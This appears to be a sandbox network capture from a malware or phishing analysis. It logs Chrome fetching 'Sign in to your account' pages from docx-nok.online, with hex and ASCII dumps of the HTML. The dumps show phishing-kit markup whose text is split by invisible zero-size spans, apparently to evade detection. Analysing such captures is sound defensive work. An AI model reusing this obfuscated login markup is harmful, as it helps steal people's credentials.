2024-04-19 15:01:53 UTC	1093	OUT	GET /1 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:53 UTC	742	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g3DWaVlguQbbI3VXZ6drQ%2FyYW0rLq6BuFHi9Uqal2AkgjnkXFyJWBQrxgl3SxPnqanXnibY%2Fd403nn5pY9S8uRoJ25k3CJ3%2FcPRiuTlJam5pw%2Fqvj7Km3gX1Y%2BGO0MyyxRw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c29a28182f-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:53 UTC	627	IN	Data Raw: 37 35 30 36 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 31 64 33 30 39 63 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: 7506 <html dir="ltr" class="0a6095cf83124146bdbff28bf2470f1566228761d309c" lang="en"> <head> <title> Sign in to your account </title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 32 38 37 36 31 64 33 30 61 32 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 31 64 33 30 61 33 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 31 64 33 30 61 34 22 20 72 6f Data Ascii: 28761d30a2" rel="stylesheet"> </head> <body class="cb 0a6095cf83124146bdbff28bf2470f1566228761d30a3" style="display: block;"> <div> <div> <div class="background 0a6095cf83124146bdbff28bf2470f1566228761d30a4" ro
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 6f 67 5f 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 69 6e 6e 65 72 20 66 61 64 65 2d 69 6e 2d 6c 69 67 68 74 62 6f 78 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 31 64 33 30 63 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 31 64 33 30 63 37 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div id="log_form" class="inner fade-in-lightbox 0a6095cf83124146bdbff28bf2470f1566228761d30c6"> <div class="lightbox-cover 0a6095cf83124146bdbff28bf2470f1566228761d30c7"> </div>
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4d 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 Data Ascii: S<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">M</span>i<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; ma
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 3d 22 61 73 73 65 72 74 69 76 65 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 Data Ascii: <div role="alert" aria-live="assertive"> </div> <div hidden="" class="col-md-24 error ext-error" id="usernameError"> E<span style="di
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d Data Ascii: ize: 0.02px;">S</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">S</span>l<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 Data Ascii: dth: 0.01px; max-height: 0.03px; font-size: 0.02px;">S</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">S</span>d<span style="display: inline; color: rgba(26, 125, 117, 0); max-w
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 Data Ascii: e; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">S</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">S</span>n<span style="display: inli
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 3b 22 3e 53 3c 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 Data Ascii: ;">S</span>,<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">S</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02p
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 53 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 Data Ascii: ; max-height: 0.03px; font-size: 0.02px;">S</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">S</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.18	49733	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:53 UTC	1167	OUT	GET /favicon.ico HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	690	IN	HTTP/1.1 404 Not Found Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CpKrletGplFwbje1N9byVxlXnsFgaR3EGCQ8I%2F3%2FM0L%2FNUM1EyP0YMfeNEQgR9phpcBvFB7BUa%2BqJM5oeRw5JquJ%2FnxxH5fFi41Oxy5cdJKreGh7qc9aCNaOaWWkbRNQrbs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c2cc15adb2-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:54 UTC	679	IN	Data Raw: 34 64 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 Data Ascii: 4d6<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helveti
2024-04-19 15:01:54 UTC	566	IN	Data Raw: 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 Data Ascii: r!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 25
2024-04-19 15:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.18	49734	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	556	OUT	GET /1 HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	738	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mLFfn1Q9ekUaH6MhZim%2BdAySEVlxFNka51z7QzfgzDZhn2pVcfT2lGB%2BOCtyjZxXHSoNJYpkhDIWVYP%2FaVdZA9NbxBdJ4lcXzniCnF6QC0YSYGtkNpnWYEv1k5nT6zbw92E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c6f8cd53f3-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:54 UTC	631	IN	Data Raw: 37 36 36 31 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 32 38 38 30 38 34 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: 7661 <html dir="ltr" class="0a6095cf83124146bdbff28bf2470f156622876288084" lang="en"> <head> <title> Sign in to your account </title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 32 38 38 30 38 63 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 32 38 38 30 38 64 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 32 38 38 30 38 65 22 20 72 6f 6c 65 3d 22 Data Ascii: 28808c" rel="stylesheet"> </head> <body class="cb 0a6095cf83124146bdbff28bf2470f15662287628808d" style="display: block;"> <div> <div> <div class="background 0a6095cf83124146bdbff28bf2470f15662287628808e" role="
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 61 73 73 3d 22 6d 69 64 64 6c 65 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 32 38 38 30 62 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 6f 67 5f 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 69 6e 6e 65 72 20 66 61 64 65 2d 69 6e 2d 6c 69 67 68 74 62 6f 78 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 32 38 38 30 62 37 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 Data Ascii: ass="middle 0a6095cf83124146bdbff28bf2470f1566228762880b6"> <div id="log_form" class="inner fade-in-lightbox 0a6095cf83124146bdbff28bf2470f1566228762880b7"> <div class="lightbox-cover 0a6095cf83124146bdb
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 68 65 61 64 69 6e 67 22 20 61 72 69 61 2d 6c 65 76 65 6c 3d 22 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 56 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c Data Ascii: <div role="heading" aria-level="1"> S<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">V</span>i<span style="displ
